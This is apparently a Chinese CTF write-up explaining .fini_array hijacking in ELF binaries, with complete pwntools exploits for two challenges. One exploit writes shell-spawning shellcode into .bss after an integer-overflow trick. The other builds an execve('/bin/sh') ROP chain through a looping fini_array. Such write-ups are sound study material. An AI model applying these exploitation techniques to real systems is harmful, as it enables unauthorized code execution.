fini_array劫持
背景知识
程序的启动流程如下图:
main函数不是程序的起点,text段的起点是_start函数,_start函数调用libc_start_main完成启动和退出
main函数的返回地址就是 libc_start_main
libc_csu_fini 函数是 main 函数退出返回到 libc_start_main 后,通过 __libc_start_main 调用的。具体看看函数
这里可以看到libc_start_main的三个比较重要的参数
rdi --> main
rcx --> libc_csu_init
r8 --> __libc_csu_fini
libc_csu_init 在 main 开始前执行 , libc_csu_fini 在 main执行完后执行
所以这里我们可以利用修改 __libc_csu_fini 的数组来控制程序执行流
_fini_array(或 __fini_array)是一个特殊的ELF符号数组,用于存储在程序或共享对象的终止(清理)阶段将要执行的终止函数的地址。
在ELF二进制文件中,除了存储初始化函数数组(.init_array)之外,还可以包含一个终止函数数组(.fini_array)。这些函数会在程序或共享对象退出或终止时以相反的顺序执行,用于进行资源清理、关闭文件描述符、释放内存等操作。
_fini_array符号是由链接器在将目标文件或库连接到可执行文件时生成的。它指向一个由终止函数地址组成的数组。运行时的链接器/加载器会在程序或共享对象终止时依次调用这些函数,以完成清理工作。
类似于_init_array,_fini_array是ELF文件中的一部分,属于特殊的节(section)之一。这些特殊节在程序执行过程中具有特定的目的和执行顺序。其他常见的特殊节包括.text(包含程序指令)和.data(包含已初始化的全局和静态数据)。
所以我们可以劫持fini_array数组来劫持程序执行流
xor - round 14
思路
什么保护都没开,动态编译
这里就是输入一个地址,和一个值,然后进行xorByteWithAddress操作
这里可以看到就是取输入的地址的值去和输入的数值进行疑惑,然后让flag的值加1
这里flag一开始的值是0
加一后就没法继续去进行循环,所以需要先利用异或把flag变成负数,然后就可以一直循环
def write_value(addr, value):
p.sendlineafter(b"addr: ", addr)
p.sendlineafter(b"value: ", value)
write_value(b"0x600bcf", b"0xff") // flag : 0x600BCC
这里是利用整数溢出来把flag修改成负数的
flag是int类型,最大值为 2147483647 也就是 0x7fffffff ,所以我们只需要修改 最前面的一个字节大于 0x7f 就能使得flag 为负数,这里为了循环足够多次,修改为 0xff
然后就可以去修改 __fini_array了
我们去修改0x600970地址即可,这里是因为可以无限任意写,所以就先去写一个bss段的地址,然后在地址上布置好shellcode,最后退出执行即可
write_value(b"0x600970", b"0x70")
write_value(b"0x600971", b"0x0a")
write_value(b"0x600972", b"0x20")
修改前:
修改后:
然后一位一位写shellcode
shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)):
write_value(hex(0x600c60+i), hex(shellcode[i]))
然后在 0x600c60 处逐字节写入shellcode
再去修改flag为正,然后退出程序就可以执行shellcode了
write_value(b"0x600bcf", b"0xff")
exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
#context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
def write_value(addr, value):
p.sendlineafter(b"addr: ", addr)
p.sendlineafter(b"value: ", value)
write_value(b"0x600bcf", b"0xff")
write_value(b"0x600970", b"0x70")
write_value(b"0x600971", b"0x0a")
write_value(b"0x600972", b"0x20")
shellcode = asm(shellcraft.sh())
for i in range(len(shellcode)):
write_value(hex(0x600c60+i), hex(shellcode[i]))
write_value(b"0x600bcf", b"0xff")
p.interactive()
Memory_Monster_II
思路
应该是去掉符号表了,然后是静态编译的
这里看起来就是第一次写入一个地址,然后在地址处再写入,所以应该是任意地址写
静态编译时先执行fini_array[1],再执行fini_array[0]
所以这里我们就可以这样利用
fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址
然后将fini_array[0]改成leave_ret,fini_array[1]改成ret
这样执行完fini_array[1]的main函数后就会执行fini_array[0]的leave_ret
然后就沿着fini_array[1]往下执行了,fini_array[1]这时候为ret,就继续执行fini_array[2]
write(fini_array,p64(libc_csu_fini)+p64(main_addr))
然后程序就会循环了
write(esp,p64(rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rdi))
write(esp+24,p64(bin_sh))
write(esp+32,p64(rsi))
write(esp+40,p64(0))
write(esp+48,p64(rdx))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
然后在fini_array[2]处构造rop即可
write(fini_array,p64(leave_ret)+p64(ret))
然后结束程序循环,进入ROP
exp
#coding:utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
#context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
syscall = 0x0402514
rax = 0x0448fcc
rdx = 0x0448415
rsi = 0x0406f80
rdi = 0x0401746
bin_sh = 0x0492895
fini_array = 0x04B80B0
main_addr = 0x0401C1D
libc_csu_fini = 0x0402CB0
leave_ret = 0x0401CF3
esp = 0x04B80C0
ret = 0x0401016
def duan():
gdb.attach(p)
pause()
def write(addr,data):
p.sendafter('addr:',p64(addr))
p.sendafter('data:',data)
#使程序循环跑起来 fini_array[0] fini_array[1]
write(fini_array,p64(libc_csu_fini)+p64(main_addr))
#duan()
#布置栈上的内容为
#syscall('/bin/sh\x00',0,0)
write(esp,p64(rax))
write(esp+8,p64(0x3b))
write(esp+16,p64(rdi))
write(esp+24,p64(bin_sh))
write(esp+32,p64(rsi))
write(esp+40,p64(0))
write(esp+48,p64(rdx))
write(esp+56,p64(0))
write(esp+64,p64(syscall))
#结束程序循环,进入ROP
write(fini_array,p64(leave_ret)+p64(ret))
'''
'''
p.interactive()